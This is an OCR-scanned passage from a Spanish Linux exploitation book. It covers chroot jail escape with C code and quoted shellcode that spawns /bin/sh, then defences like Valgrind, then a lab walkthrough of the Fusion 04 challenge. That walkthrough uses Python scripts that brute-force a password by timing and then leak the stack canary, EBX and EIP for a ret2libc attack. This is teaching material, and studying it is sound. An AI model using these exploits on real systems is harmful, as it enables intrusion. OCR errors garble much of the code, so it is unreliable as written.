buena  medida  para  prevenir  los  efectos  de  una  post-explotacion,  minimizando  asi  Los  riesgos  de  que 
el  atacante  pueda  expandirse  mas  alia  de  un  territorio  limitado,  pero  la  realidad  es  bien  distinta  y  este 
meeanismo  de  seguridad  no  carece  de  sus  ineonvenientes. 


[Nota 


Crear  una  jaula  con  ehroot  dentro  del  directorio  home  de  un  usuario  nunca  ha  sido  una 
buena  idea  ni  es  aconsejado  para  obtener  un  entomo  seguro.  Se  trata  tan  solo  de  un  ejemplo 
ilustrativo. 


Lo  cierto  es  que  la  mayoria  de  las  aplicaciones  requieren  un  aeceso  continuo  a  ficheros  de 
conliguracion  por  defeclo,  librerias  de  enlace  dinamieo  y  muchos  otros  elementos  que  deberan  ser 
replicados  dentro  de  la  jaula  para  que  el  proeeso  funeione  correctamente  dentro  del  ehroot.  Por  lo 
general  se  consigue  haciendo  uso  de  la  aplicacion  debootstrap,  cuya  mision  es  instalar  un  sistema 
basico  bajo  un  subdirectorio  especlfico.  Esto  podria  conseguirse  mediante  una  orden  como  !a 
siguiente: 

#  debootstrap  -arch=1386  hardy  /home/blackngel/ jaula/ 

http: / /archive . ubuntu . com/ubuntu/ 
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Pero  como  deciamos,  la  seguridad  se  encuentra  bastante  lejos  de  ser  infalible,  y  si  dentro  de  la  jaula 
se  esta  ejecutando  un  programa  vulnerable  con  el  bit  said  activado,  un  atacante  podria  explotar  dicho 
programa  y  obtener  privilegios  de  root*  La  cuestidn  es  que  una  vez  obtenidos  los  permisos  de 
administrador,  existe  un  truco  para  conseguir  escapar  de  la  jaula*  De  hecho,  la  propia  pagina  man  de 
Linux  nos  indica  el  como: 

“This  call  does  not  change  the  current  working  directory,  so  that  after  the  call  ' . '  can 
be  outside  the  tree  rooted  at  V In  particular ,  the  superuser  can  escape  from  a  "chroot 
jail”  by  doing: 

mkdir  foo ;  chroot  too ;  cd  . . ff 

Por  lo  Unto,  dado  que  la  syscall  chroot  ( )  no  ejecuta  un  chdir  ( )  intemo,  podemos  escapar  de  la  jaula 
creando  un  nuevo  directorio,  estableciendo  la  nueva  ruta  raiz  alii  1 1  am  an  do  a  chroot  o  y  luego  eambiar 
al  directorio  padre  cuantas  veces  sea  neccsario.  El  siguiente  listado  muestra  este  proceso: 

# include  <stdlib.h> 

# include  <stdio.h> 

int  main {int  argc,  char  **argv) 

{ 

int  i; 

mkdir ("breakdir" f  0700); 
chroot  ("breakdir" )  ; 
for  (  i  -  0;  i  <  100;  i++  ) 
chdir  ( IT .  .  ° )  t 
chroot  (  "  .  ,T )  , 

execl ( "/bin/sh"  ,  "/bin/sb",  NULL); 

}  


Observ  e  en  la  siguiente  ilustracion  el  proceso  de  establecimiento  de  la  jaula  y  como  la  ejecucion  del 
codigo  anterior  nos  permite  liberamos. 


O  black ngel(&b be:  - 

blacfcngelf)bbt;~$  sudo  chroot 

testdir/ 

root^bbe : jU  pwd 

/  m. 

root^bbtiJU  is 

M 

bin  bre#k  breakdir  etc 

initro 

media 

opt 

prat 

sbin 

sys  use 

boot  break. c  dev 

home 

ub 

mnt 

otra  root 

srv 

tnp  var 

root^bbci/#  ./break 
j#  Is 

ib  in  etc 

lib 

opt 

sbin 

tmp 

vmttnuz .old 

boot  bone 

lost+found  proc 

selinux 

usr 

edrom  Inltrd.lmg 

media 

root 

srv 

var 

dev  initrd.ing .old 

1*  ■ 

nnt 

run 

sys 

vmllnuz 

Imogen  07. 1 0:  Escapando  de  una  jau  la  chroot 


En  eonsecuencia,  nadie  le  impide  programar  un  shellcode  que  ejecute  dichas  acciones  y  que  pueda 
inlToducir  como  payload  en  su  exploit  favor!  to.  A  eontinuacion  mostramos  un  ejemplo  obtenido  de  la 
inagotable  pagina  de  contenidos  de  seguridad  packetstormsecurityxom. 

;  linux/x86  break  chroot  19  bytes; 

;  roots thegibson 
;  2009-12-30 
section  *  text 
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global  start 
start : 

■  satuid (0) ; 
mov  al,  23 
xor  ebx,  ebx 
int.  0x8  0 

;  mkdir  (T1 .  .  .  ",  0700); 

mov  al ,  39 

cdq 

push  edx 
push  byte  Qx2e 
push  word  0x2e2e 
mov  ebx,  esp 
mov  cxf  0700o 
int  0x80 

;  chroot 
mov  al,  61 
mov  ebx,  esp 
int  0x80 

for  (  i  =100;  i  >  0;  i —  ) 

;  f 

;  chdir  {”  *  . ,T)  ; 

} 

pop  dx 
xor  ecx,  ecx 
push  eux 
push  dx 
mov  cl,  100 
up: 

mov  al,  12 
mov  ebx,  esp 
int  0x80 
loop  up 

;  chroot  ( n  . fl )  ; 
mov  al,  61 
xor  ecx,  ecx 
mov  [esp  +  1],  cl 
mov  ebx,  esp 
int  0x80 

;  exeeve  (T< //bin/sh1',  0,  0); 

mov  al,  11 
xor  ecx,  ecx 
push  ecx 

push  dword  0x687 32f6e 
push  dword  0x69622f2f 
mov  ebx,  esp 
cdq 

int  0x80 


Y  sus  correspond  ientes  opcodes: 
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,T\xbO  \  x!7  \x31 \xdb\xcd\x8  G\xbQ \x27\x99\x52 \x6a\x2e\x66\x68 \x2e\x2e\x8  9\xe3\x6  6\xb9\xc 
Q\xOl\xcd\x8Q\xbQ\x3d\x89\xe3\xcd\x8G\x66\x5a\x3l\xc9\x51\x66\x52\xbl\x64\xbO\xQc\x8 
9\xe3\xcd\x80\xe2\xf 3\xbG\x3d\x31\xc9\x88\x4c\x24\x01\x89\xe3\xcd\x8G\xbG\x0b\x3i\xc 
9\x51\x68\x  6e\x2  f:\x7  3\x63\x68  \x2  f\x2f  \x62\x69\x8  9\xe3  \  x99\xcd\x8  Q 


Si  usied  tiene  por  objetivo  invocar  en  su  codigo  la  fund  on  chroot  { ) ,  hagalo  de  la  siguiente  forma: 

eh root  (Tl /mnt/chroot/ director io")  ; 

chdir  (Tl/Tl )  ;  


Entrando  ast  dentro  de  ia  nueva  e struct ura  de  directories  que  establece  los  1  unites  de  la  jaula. 

Los  exploiters  siempre  han  eneontrado  vias  de  escape  a  las  fronleras  que  se  les  han  ido  interponiendo. 
Estos  conocimientos  formaran  ahora  una  parte  integral  de  su  arsenal  de  habilidades.  Cuidelas,  pongase 
en  forma,  y  mantenga  al  resto  del  mundo  informado  de  que  la  seguridad  es  un  equilibrista  que  carnina 
sobre  la  cuerda  floja  con  los  ojos  vendados. 


Nota 

jail  y  jail ( ) 

FreeBSD  para 

son  respecti  vamente  un  com  an  do  y  una  llamada  de  sistema  utilizados  en 
crear  jaulas  con  parametros  mas  especificos. 

7.9.  Instrumentacion  de  codigo 

Existen  infmidad  de  analizadores  de  codigo  estaticos  y  dinamicos  (algunos  de  ellos  eon  precios 
frail  cam  ente  prohibit!  vos  para  el  usuario  com  un),  que  intentan  encontrar  la  mayor  cantidad  de  fall  os 
posibles  antes  de  que  la  aplicacion  en  cuestion  sea  llevada  a  un  entorno  de  produccion  real.  Se  trata  de 
soluciones  extemas  euyo  analisis,  por  desgracia,  escapa  al  ambito  de  este  libro. 

Lo  que  por  el  contrario  si  nos  gustaria  comentar,  es  una  propuesta  formulada  por  tres  investigadores 
de  la  Universidad  de  Columbia  cuya  pretension  no  es  solo  deteetar  errores  de  desbordamiento  de  buffer 
(tanto  en  el  stack  come  el  heap),  sino  instrumentar  el  codigo  fuente  para  que  este  sea  capaz  de 
recuperarse  ante  dichos  errores  de  un  mode  automatico.  Cuando  un  ataque  es  detectado,  se  redirige  el 
flujo  de  ejecucion  hacia  un  manejador  especial  que  puede  restaurar  el  estado  normal  de  la  aplicacion 
y  permitir  que  esta  continue  en  un  panto  previo. 


La  sol  uc  ion  que  han  implementado  se  basa  en  mover  tod  os  los  buffers  locales  estaticos  a  I  monticulo 
o  heap.  Por  ejemplo,  el  siguiente  codigo. . . 


int  funct) 

J 

i 

char  buffer  [128]; 

/*.-.*/ 

return  val; 

1 

...  serf  a  sustituido  por  este  reemplazo: 

int  f line  t) 
i 


char  ^buffer  =  pmalloc ( 128 )  ; 
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/*...*/ 
pf ree (buffer) ; 
return  val? 

} 


Bn  ei  iistado  anterior,  pmaiioc  o  es  un  envoltorio  de  malice  <  >  que  invoca  a  mmap  ( )  para  reservar  dos 
paginas  de  memoria  protegidas  contra  escritura  y  utilizadas  como  guardas  que  se  encontraran  siempre 
antes  y  despues  del  buffer  asignado. 

Creemos  que  no  hace  falta  proceder  mas  alii  con  la  explication,  Ya  que  esla  implementation  trabaja 
con  la  gran  u  lari  dad  de  una  pagina  (habitualmente  4096  bytes  en  Linux  sobre  x86),  cada  pequefia 
asignacion  rcquiere  una  perdida  de  recursos  considerable.  De  hecho,  un  test  de  rendimiento  sobre  el 
servidor  web  Apache  ha  demostrado  que  el  performance  puede  degradarse  hasia  en  un  440%.  For  otro 
Iado?  el  autor  de  este  libro  considera  dicha  solution  como  una  do  esas  medidas  radieales,  que  si  bien 
se  ie  dcbe  prestar  relativa  aiention  a  modo  de  concepto,  preferiblemenie  le  aconsejamos  al 
program ador  que  revise  su  pTopio  codigo  y  sea  cuidadoso  con  las  operac tones  que  realiza  antes  de 
permilir  que  un  software  extemo  reaiice  tales  alteraciones  sobre  su  aplicacion. 

Si  usted  se  encuenlra  en  la  etapa  de  depuration  de  una  aplicacion  que  pronto  sera  puesta  a  disposition 
del  publico,  otra  solution  mas  robusta  y  ampliamentc  reconocida  es  Valgrind,  un  conjunto  de 
herramientas  de  analisis  dinamico  que  pucden  detectar  errores  en  la  gestidn  de  la  memoria  de  forma 
automatica.  Valgrind  proporciona  varias  utilidades  no  intrusivas  evitando  la  recompilation  de  los 
binaries  a  examinar.  Memcheck  o  memory-check  es  una  de  Las  herramientas  mas  interesantes,  su 
objetivo  es  ejecutar  un  binario  pasado  como  argumento  dentro  de  una  CPU  emulada  por  software,  al 
tiempo  que  agrega  su  propio  codigo  de  instrumentation  para  comprobar  todos  los  accesos  a  memoria 
que  se  producen  durante  el  tiempo  dc  procesado.  Ademas,  Memcheck  tambien  puede  detectar 
ineonsistencias  en  las  librerias  extemas  enlazadas  con  cl  binario.  Si  hablamos  de  rendimiento,  la 
documentation  nos  informa  que  la  aplicacion  puede  correr  entre  10  y  50  veces  mas  lento  que  si  esta 
se  ejecuta  de  forma  nativa,  pero  Valgrind  esta  disenada  como  una  solucion  de  depuration  y  detection 
de  errores,  por  lo  que  dieho  deterioro  del  rendimiento  o  performance  se  considera  dentro  de  lo 
aceptable. 

Algunas  otras  altemativas  mas  o  menos  conocidas  son  RAD  (Return  Address  Defender),  un  parche 
para  el  compilador  que  crea  una  copia  segura  de  las  direcciones  de  retorno  guardadas  y  que  genera 
codigo  adicional  de  detection  de  errores;  e  Insured,  otra  plataforma  de  analisis  dinamico  que  puede 
detectar  fallos  de  corruption  de  memoria  en  tiempo  de  ejecucion  para  los  lenguajes  C  y  C++.  Algunos 
de  los  errores  m&s  comunes  que  esta  ultima  solucion  puede  descubrir  son; 

-  Corrupciones  en  el  stack. 

-  C  o  rr upc  i  ones  en  e  1  he  ap . 

-  Uso  de  variables  u  objetos  no  inlcializados. 

-  Uso  de  punteros  no  inlcializados  o  nulos  (null). 

Errores  al  reservar  o  liberar  memoria  dinamica. 

F ugas  de  in form ac i on .. 

-  Accesos  fuera  de  Umites. 

Errores  declaratives. 

-  Etc... 
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7.10.  Rompiendo  las  Reglas:  Todo  en  Uno 

Cuando  se  desarrolla  la  teoria,  siempre  se  habla  de  posibies  sucesos  y  de  las  probabilidades  de  exito 
de  un  ataeante,  pero  tan  to  el  libro  que  tiene  entre  sus  manos  como  el  pre  sente  capitulo  quo  dan  an 
incompletos  si  no  estudiasemos  una  solueion  practiea  a  todas  las  protecciones  que  hemos  investigado 
en  las  ultimas  secciones. 

Para  ello,  analizaremos  paso  por  paso  uno  de  los  retos  mas  interesantes  presentados  en  la  maquina 
virtual  Fusion  de  exploit-exercises. com .  El  autor  considera  lo  que  viene  a  continuation  como  una  de 
las  fases  mas  instructivas  para  el  lector,  que  le  liara  ser  eonsciente  de  por  que  hoy  en  dia,  y  despues  de 
todos  los  esfuerzos  puestos  en  contra  por  miles  de  invest!  gadores,  los  ataques  contra  buffer  overflows 
todavia  siguen  siendo  la  pesadilla  mas  temida  de  la  era  modertia  de  los  sistemas  operatives. 

La  prueba  que  nos  propo nemos  resolver  se  encuentra  protegida  tras  las  siguientes  medidas  de 
seguridad: 


Proteeefen 

Estado 

PIE  (Position  Independent  Executable) 

RELRO  (Relocation  Read-Only) 

X 

Pila  no  ejecutable  (NX) 

Heap  no  ejecutable  (NX) 

ASLR  (Address  Space  Layout  Randomization) 

S 

Forti  fy  Source 

s 

Stack  Smashing  Protector  (SSP  o  ProPolice) 

1 - 1 

Tabla  07.02:  Protecciones  apbeadus  a  un  binario  vulnerable. 


Para  el  caso  que  nos  ocupa,  RELRO  podrta  haberse  activado  sin  ningun  inconveniente,  dado  que 
nuestro  exploit  no  sobrescribira  ninguna  entrada  en  la  GOT  ni  sustituira  a  destructor  alguno. 

La  solueion  presentada  esta  basada  en  los  conceptos  ya  deseritos  en  la  section  7.3  de  este  mismo 
capitulo  y  en  las  fabulosas  ideas  publicadas  en  el  siguiente  post  http://www.limited- 
entropy.com/Juslon-04-exploit-write-up  por  Eloi  SanFelix,  del  conocido  grupo  de  hackers  intSpids.  A 
diferencia  del  exploit  desarrollado  por  Eloi,  que  utiliza  un  payload  RQP  para  ejecutar  una  shell  remota 
median  te  gadgets  obtenidos  de  la  libreria  Li  be  (metodo  similar  al  que  mostramos  en  la  seccion  5.4  del 
libro),  nosotros  presentamos  una  altemativa  relativainente  mas  sencilia  basada  en  Ret2Libc,  en  la  que 
conseguimos  invocar  una  llamada  a  system!)  con  una  cadena  sh  presente  en  el  propio  binario 
vulnerable.  Le  animamos  a  consultar  ambas  soluciones  con  el  objetivo  de  que  descubra  por  si  mismo 
que  siempre  existen  varies  caminos  para  alcanzar  la  meta  deseada. 

Comencemos.  El  binario  al  que  nos  enffentamos  consiste  en  un  fragment©  de  codigo  perteneciente  a 
la  aplieacion  micro_httpd,  un  servidor  web  iigero  para  la  familia  de  sistemas  operatives  Unix 
destinado  a  sitios  con  poco  trail  co.  Los  aulores  del  reto  han  introducido  voluntariamente  algun  error 
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de  programacion  que  nosotros  podemos  aprovechar  para  ejecutar  codigo  arbitrario.  La  parte  que  ahora 
nos  interesa  se  muestra  en  el  siguiente  listado; 

tut.  validate  credentials  (char  *line) 

[ 

char  *p,  *pw; 

unsigned  char  details  [2048] ? 
int  bytes  wrong; 
int  1 ; 

struct  timeval  tv; 
int  output  len; 

memset (details,  0,  sizeof (details) ) ; 

outpu t_len  -  sizeof (details) ; 

p  —  strchr(line,  T\n'); 

if (p)  *P  -  0; 

p  =  strchr (line,  T  \  r  1 ) ; 

if (p)  *P  *  0; 

base64_decode  (line,  strlen  (line)  ,  details,  toutpuit_len)  ; 
p  -  strchr (details,  1 : ' ) ; 

pw  =  (p  --  NULL)  ?  (char  *) details  :  p  +  1; 

for [bytes  wrong  =  0,  1  -  0;  pw [ 1 ]  &&  1  <  password_size;  1++)  { 

if(pw[l]  1=  password [1] }  { 
bytes_wrong++ ; 

} 

} 

//  anti  bruteforce  mechanism,  good  luck  ,-> 
tv,tv_sec  —  0; 

tv.tv_usec  =  £500  *  bytes_wrong ; 
select  (0,  MULL,  MULL,  MULL,  &tv)  ; 
if (1  <  password_size  I  I  bytes_wrong) 
send_error  (401,  "Unauthor i  zed" , 

"WWW~ Authenticate:  Basic  realm=\T'stack0  6  \1,TI , 

"Unauthorized")  ; 
return  1; 

} 


En  particular,  la  funcion  base64_decode  ( )  decodiflca  la  peticion  enviada  por  el  usnario  y  vuelca  el 
resultado  en  el  buffer  details  []  mediante  un  bucle  for,  Aunque  el  tamano  de  este  buffer  de  destine 
es  proporcionado  a  la  funcion  como  ultimo  argumento,  esta  no  utiliza  su  contenido,  si  no  que  aprovecha 
la  referenda  obtenida  para  almacenar  olro  valor  de  salida.  Como  consecuencia,  no  hay  un  lunite  para 
I  os  datos  que  podemos  intro  ducir  en  details  [  ]  y  por  lo  tanto  es  tamos  ante  un  cl&sico  stack  overflow. 

El  formate  de  la  peticion  formulada  es  el  siguiente: 

GET  /  HTTP/1.0 

Authorization:  Basic  b64encode  (usuario  :  contrase'ha) 

Nos  encontramos  con  una  de  las  primeras  trabas.  En  la  funcion  main()  del  programa  se  genera  una 
cade n a  aleatoria  de  16  caracteres  que  constituira  la  contraseha  de  sesion. 

se cur e_s rand ( ) ; 

password  =  calloc fpassword_size,  1); 
for(i  =0;  i  <  password_size;  i+  +  )  { 
switch (rand ( )  %  3)  { 
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case  0:  password [ i J  —  (rand()  %  25)  +  'aT;  break; 

case  1:  password [i]  =  ( rand ( )  %  25)  +  'AT;  break ; 

case  2:  password! i]  =  £rand()  %  9)  +  ' 0T;  break; 


} 


A  pesar  de  que  tenemos  la  capacidad  de  sobrescribir  la  direccidn  de  retomo  guardada, 
vaiidate  credentiais  u  ejecuta  un  bucle  for  que  comprueba  si  la  contrasena  que  hemos 
proporcionado  en  la  petition  coincide  con  la  que  la  aplicacion  ha  generado  previamente.  De  no  ser  el 
caso  se  llama  a  send_error()  que  a  su  vez  invoca  a  exit().  Como  ya  sabemos,  si  la  instruccion 
return  de  validate  credentials  o  no  se  ejecuta,  no  podrernos  redireecionar  el  flujo  de  ejecucion 
del  program  a. 

Obviamente,  no  podemos  hacer  fuerza  bruta  sobre  un  password  de  16  caracteres  de  longitud,  ya  que 
requeriria  un  tiempo  de  proceso  calculado  en  bi Hones  de  anos<  Ademas,  la  aplicacion  multiplica  un 
tiempo  de  espera  por  el  numero  de  caracteres  que  difieren  dc  la  contrasena  original 

tv,tv usec  =  2500  *  bytes wrong; 


Por  suerte  para  nosoiros,  es  precisamente  este  pobre  mecanismo  de  seguridad  el  que  nos  permitira 
realizar  fuerza  bruta  al  password  generado  realizando  un  ataque  byte  por  byte.  La  solucion  es  sencilla, 
enviamos  uno  por  uno  todos  las  caracteres  alfanumericos  y  calculamos  el  tiempo  que  tardamos  en 
obtener  una  respuesta.  Este  siempre  sera  distinto  para  un  caracter  correcto  que  para  otro  que  no  lo  sea. 
Despues  de  algunas  pruebas,  hemos  obtenido  que  cuando  un  caracter  de  la  contrasena  coincide,  el 
tiempo  de  respuesta  es  inferior  a  0.0053  segundos  {este  podrfa  ser  distinto  para  usted),  siendo  superior 
en  caso  contrario.  Procediendo  de  este  modo  podemos  ir  encadenando  I  os  bytes  adecuados  hasta 
obtener  el  password  de  sesion.  original  El  siguiente  codigo  en  Python  se  encarga  de  la  tarea: 

alphanum  -  "ABCDEFGHI JKLMNOPQRSTUVWXYZabcdefghi jklmnopqrstuvwxyz 01 2345678 9" 

ip  -  "192. 168.1.34” 

port  =  20004 

def  conexion { ip,  port): 

s  -  socket, socket (socket . AF_TNET,  socket . SQCK_STHEAM) 
s . connect (( ip,  port)) 
return  s 
def  brutepass ( ) : 
password  =  Tl  M 

while  {  len  (password)  <  1.6  )  : 
for  curchar  in  alphanum; 

tfprint  ,T  Proban  do  Pass  ->  "  +  password  +  curchar 
s  =  conexion(ip/  port) 
firstTime  -  time. time () 

s.  send  ("GET  /  HTTP/1 . 0  NnAuthori  zation :  Basic  T1  + 

base64  .b64encode  (T'stack06  :  "+passwo-rd+curchar )  t  M\n\nN) 
data  =  s.recv(10£4) 
secondTime  =  time, time () 
s  .  close ( ) 

if  (  (secondTime  -  firstTime)  <  0.0053); 
password  +—  curchar 
print  Tl  PASS  =  "  +  password 
break 

#print  "Time  =  ri  +■  str  (secondTime  -  firstTime) 
return  password 
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Observe  el  resultado  obtenido  en  la  siguiente  ilustracion. 


O# 

•T  blatkngeli^pbhc;  - 

blackngel£bbc;~$  python  ex94.py 

PASS 

=  '  3 

PASS 

*  3V 

PASS 

PASS 

*  3V8? 

PASS 

=  3v827 

PASS 

=  3vB270 

PASS 

=  3V82TC4 

:P  ASS 

s  3v82704s 

PASS 

=  3V82704&4 

PASS 

*  3v82704s42 

PASS 

-  3v82704s42G 

PASS 

=  3v82704s42Gb 

PASS 

*  3v82704s42Gb tn 

PASS 

*  3v82704s42Gbrce 

PASS 

-  3vB2704s42Gbneq 

PASS 

*  3vS27G4s42Gb«teqQ 

Imager  07.11:  Fuerza  bruta  sobre  la  contrasena  de  sesibn. 


Una  vez  tenemos  la  clave  en  nuestras  manos,  ya  podemos  proceder  a  desbordar  el  buffer  vulnerable. 
La  peticion  sera  conio  la  siguiente: 

GET  /  HTTP/1 . OXnAuthorization :  Basic  ,r  + 

base 6 4  ,b6 4 encode  (Tl  stack06 :  3v8270  4s4  2GbmeqQ,T  +  "  a"  *204  8 

Aqui  comienza  la  parte  mas  jugosa  del  reto?  dado  que  la  protection  SSP  se  cncuentra  activada,  un 
valor  canary  ha  sido  establecido  antes  de  la  direction  de  retomo  guardada,  por  lo  tanto,  una 
sobrescritura  sin  control  no  nos  concedena  mas  que  un  sucinto  mensaje: 

***  stack  smashing  detected.  *** 

Tal  y  como  explicamos  en  el  apartado  7.3  de  este  libro,  cuando  un  programa  servidor  llama  a  fork  ( } 
para  atender  la  petition  de  un  cliente,  pero  no  ejecuta  la  syscall  exeeved,  el  espacio  de  diTeeciones 
en  los  procesos  padre  e  liijo  es  idtiitico  y  el  mismo  valor  canary  o  cookie  es  utilizado  en  cada  peticion. 
Dieho  esto,  y  ya  que  la  salida  de  error  ha  sido  redireccionada  hacia  el  cliente,  podemos  realizar  un 
ataque  de  fuerza  bruta  byte  por  byte  sobre  el  canary  comprobando  si  existe  alguna  anomalla  en  !a 
respuesta  obtenida,  cuando  ocurra  lo  contrario  podemos  proceder  eon  el  siguiente,  asf  hasta  recuperar 
el  valor  original. 

def  brutecanary (password) : 
canary  =  ,MT 
for  j  in  xrange{4): 

for  i  in  xrange{256): 
curbyte  =  chr(i) 

tprint  T,Probando  Canary  ->  "  +  canary. encode ("hex" }  + 

curbyte  .  encode  ( "hex"1 ) 

s  —  conexion (ip,  port) 

s. send ("GET  /  HTTP/1 . ONnAuthorization :  Basic  "  + 

base64  . b64encode  ( "stackO 6 :  "  +  password  +  "a"*2G24  +  canary  +  curbyte)  +  T,\n\n") 
data  =  s.recv(1024) 
a . close  ( ) 

if  "smash"  not  in  data: 
canary  +-  curbyte 


204 


Linux  Exploiting 


break 

print  "Canary  —  "  +  canary .encode { "hex" ) 
return  canary 


Una  vez  que  podemos  emular  el  canary  en  las  pet  i  clones  a  I  servidor,  el  siguiente  objetivo  pas  a  por 
controlar  el  registro  EIP.  Sin  embargo,  algunas  pruebas  demuestran  que  el  registro  EBX  ha  side 
popeado  de  la  pi  la  antes  de  que  la  funcion  va  li  da  tecredentiais  ()  retorne,  v  luego  es  usado  como 
referenda  para  ejecutar  codigo.  Si  este  es  sobrescrito  con  datos  al  azar,  la  aplicacion  volcara 
rapidamente  un  fallo  de  segmentation.  Es  por  ese  motivo  que  utilizaremos  la  misina  tecnica  para 
obtener  el  valor  original  de  EBX  mediante  fuerza  bruta. 

def  brute ebx {password,  canary) : 
ebx  =  " " 

for  j  in  xrange{4): 

for  i  in  xraiige  (2S6)  : 
curbyte  =  chr(i) 

#print  "Probanda  EBX  ->  "  +  ebx . encode ( "hex" )  +  curbyte . encode { "hex" } 

try; 

s  =  canexian ( ip,  port) 

sf»  lend  ("GET  /  HTTP/1 . G \nAuthari zation  :  Basic  "  + 

base64  .b64encode  ( ,Tstack06 : "  +  password  +  ,Ta"*2G24  +  canary  +  MAn*12  +  ebx  +  curbyte) 
+-  "\n\n") 

data  =  s.recv(1024) 
s .  close  [} 
if  "200"  in  data: 
ebx  -+=  curbyte 
break 

except  socket . error : 
pass 

print  "ebx  —  ,T  +  ebx .  encode  (  "hex"  ) 
return  ebx 


Advierta  que  hemos  utilizado  un  bloque  try-except  ya  que  !a  modification  aleatoria  del  registro  EBX 
causa  eomportamientos  indefinidos  en  el  send  dor  al  referenciar  distintos  espacios  de  la  memoria, 

Aunque  po&teriormente  se  ha  demostrado  que  no  era  necesario,  realizaremos  un  ultimo  ataque  de 
fuerza  bruta  sobre  la  direction  de  retomo  originalmente  guardada.  El  objetivo  es  el  siguiente:  ya  que 
el  servidor  vulnerable  ha  sido  compilado  como  PIE,  necesitamos  obtener  la  direction  base  donde  el 
binario  ha  side  cargado;  esta  puede  obtenerse  a  partir  de  una  direction  que  senale  hacia  alguna  zona 
del  propio  codigo  del  pro  gram  a*  Obvi  ament e  la  direct  ion  de  retomo  es  un  cl  arc  objetivo: 

def  bruteeip (password,  canary,  ebx) : 
eip  =  "" 

for  j  in  xrange(4): 

for  i  in  xrange(256): 
curbyte  =  chr(i) 

tprint  "Probando  EIP  ->  "  +  eip* encode ("hex")  +  curbyte *  encode ( "hex" ) 
try: 

s  =  conexion(ip,  port) 

s.  send  ("GET  /  HTTP/ 1  *  0 \  nAuthori zation  :  Basic  ,T  + 

base54  . ,b64encode ( " stack0  6 ; "  +  password  +  "a" *202 4  +  canary  i  "A" *12  4-  ebx  +  "A" *12  + 
eip  -+■  curbyte)  +  " \n\n" ) 

data  =  sv reev (1024) 
s . close ( ) 
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if  T" 2 0 0 r'  in  data: 

eip  +=  curbyte 
break 

except  socket • error : 
pass 

print  r,eip  =  "  +  eip  ^  encode  ( "hex’' ) 
return  eip 


Podemos  ahora  ejecutar  todas  las  functones  de  la  siguiente  forma: 

password  -  brutepass {) 

canary  =  brutecanary (password) 

ebx  =  bruteebx (password,  canary) 

eip  =  bruteeip {password,  canary,  ebx) 


Y  obtener  el  resultado  que  vemos  en  la  imagen. 


blackngelfbbc :~$  python  ex04.py 

PASS  =  3 

PASS  =  3v 

PASS  =  3v8 

PASS  =  3v82 

PASS  =  1^827 

PASS  =  3V8270 

PASS  =  3V82704 

PASS  =  3v 8 2 704s 

PASS  =  3v82704s4 

PASS  =  3v82704s42 

PASS  =  3vB2704s42C 

PASS  »  3v82704s42Gb 

PASS  =  3v827Q4s42Gbn 

PASS  =  3v82704s42Gbme 

PASS  *  3v82704s42GbPieq 


Imagen  07.12:  Fuerza  bmta  sobre  el  canary  y  los  registros  EBX  y  EIP. 


Por  lo  tanto  tenemos: 


=  3v827Q4s42GbmeqQ 


Password 

Canary 

-  EBX 

-  EIP 


=  Oxb5el3 100 
=  0x003 2c 1 18 
-  0x003 2a435 


Tal  y  como  dijimos,  la  obtencion  del  registro  EIP  no  era  absolutamente  necesaria  puesto  que  EBX 
tambien  apunta  dentro  del  segmento  de  texto  del  programa.  Ahora  podemos  obtener  la  direccion  base 
del  ejecutable  eon  las  siguientes  intruc clones: 

exes tart  -  <GxO032a435  &  OxFFFFFOOQ)  -  0x2000 
print  "exestart  =  lf  +  str  (hex  (exestart )  ) 
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El  resultado  de  esta  operaeion  sera  gxOQ3280QQ,  que  es  la  base  del  binario.  Todas  las  operaciones 
realizadas  hasta  el  momenta  estan  destinadas  a  provocar  fugas  de  informacion  que  nos  otorguen  un 
esquema  general  del  espaeio  de  direcciones  utilizado  por  el  proeeso.  Recordemos  ahora  que  la 
proteccion  NX  se  encuenlra  activada*  por  lo  que  no  podremos  ejecutar  codigo  arbitrario  presente  en  la 
pi  la  o  en  el  heap.  Para  lograr  nuestro  objetivo  realizaremos  una  tecnica  Return  to  Libc,  y  para  ello 
precisaraos  la  direccion  de  la  funcion  system  o . 

Como  A.SLR  tambien  se  encuentra  haciendo  de  las  suyas  y  la  direccion  de  nuestra  funcion  no  es 
constante,  el  truco  que  utilizamos  se  basa  en  obtener  la  direccion  base  de  la  libreria  Libc  y  luego 
utilizar  un  offset  prefijado  hacia  la  funcion  elegida.  El  metodo  es  el  siguiente,  sobrescribiremos  la 
direccion  de  retorno  con  la  direccion  de  la  funcion  write  o  en  la  tabla  PLT  del  programa  vulnerable 
(esta  se  encuentra  cn  exestart  +■  0xf30)5  a  la  que  pasaremos  como  argumento  la  direccion  de  una 
entrada  en  la  GOT  que  haya  sido  previamente  utilizada  y  resuelta,  Vea  en  la  siguiente  ilustracion  como 
hemos  obtenido  los  valores  necesarios. 


1  ■  fudgn  [CorrlendoJ  -  Grade  VM  Vtrtualflox 

(gdb) 

(gdb)  X/i  0x828cc0 

Qx32SccO  <setsockopt@plt> : 

Jmp  *0xc(%ebx) 

(gdb)  X/3 i  0x328f  30 

Qx328f  30  <LUrite@plt>  : 

jFnp  *Qxa8(2iebx) 

Gx328f  36  tdriteSplt+6>: 

push  $0x138 

0x328f  3b  <uirite@plt  +  ll>  : 
(gdb)  x/32x  0X3£ci£4 

jmp  0x3Z8chG 

0x32c 124  <setsockapt@got.plt>s 
X 00326c f 6 

0x005e0a70 

0x00328cd6 

OXOOSf 2e40 

0 

0x32c 134  <strcmp@got . p It > : 
X0G328d36 

0x00323 U0 6 

0X00533810 

QxQ05ce24G 

0 

0X32C144  <f  ree(§got .  plt>  : 

xoosaabso 

0x00328d46 

0x00328d5& 

0x0032Bd66 

0 

0x32c 15^  <selecttgot .plt>t 
xQQ32Sdb6 

QxOQ320d06 

0x00328d36 

0xQG328da6 

0 

Gx32cl64  <_IO_getcfigot . p 1 1 > : 

0xQO328dc6 

0x005e7f 50 

0x00328de6 

0 

xoossadf 6 

Qx32cl74  <setgroups®got.plf>: 

0x005aS740 

QxGQ328el6 

0x00328e26 

0 

xQQ328e36 

OxSEc 1S4  <accept@got .plt> : 

0x005604e0 

0x005a9380 

0x005db3C0 

0 

x005d60d0 

0x32t 134  <mallocSgot *plt> : 
x0032Seb6 

<«db)  _ _ 

0x00328e86 

0x003£8e36 

0x00328ea6 

0 

©  IS  Ctrt  O^rerho 

lmagen  07,13:  Contenido  de  la  Tabla  Global  de  Offsets. 


Ya  que  sabemos  que  una  vez  establecida  la  conexion  con  el  servidor  este  ha  invocado  la  llamada 
accept  < > ,  elegiremos  esta  para  obtener  la  direccion  base  de  la  Libc. 

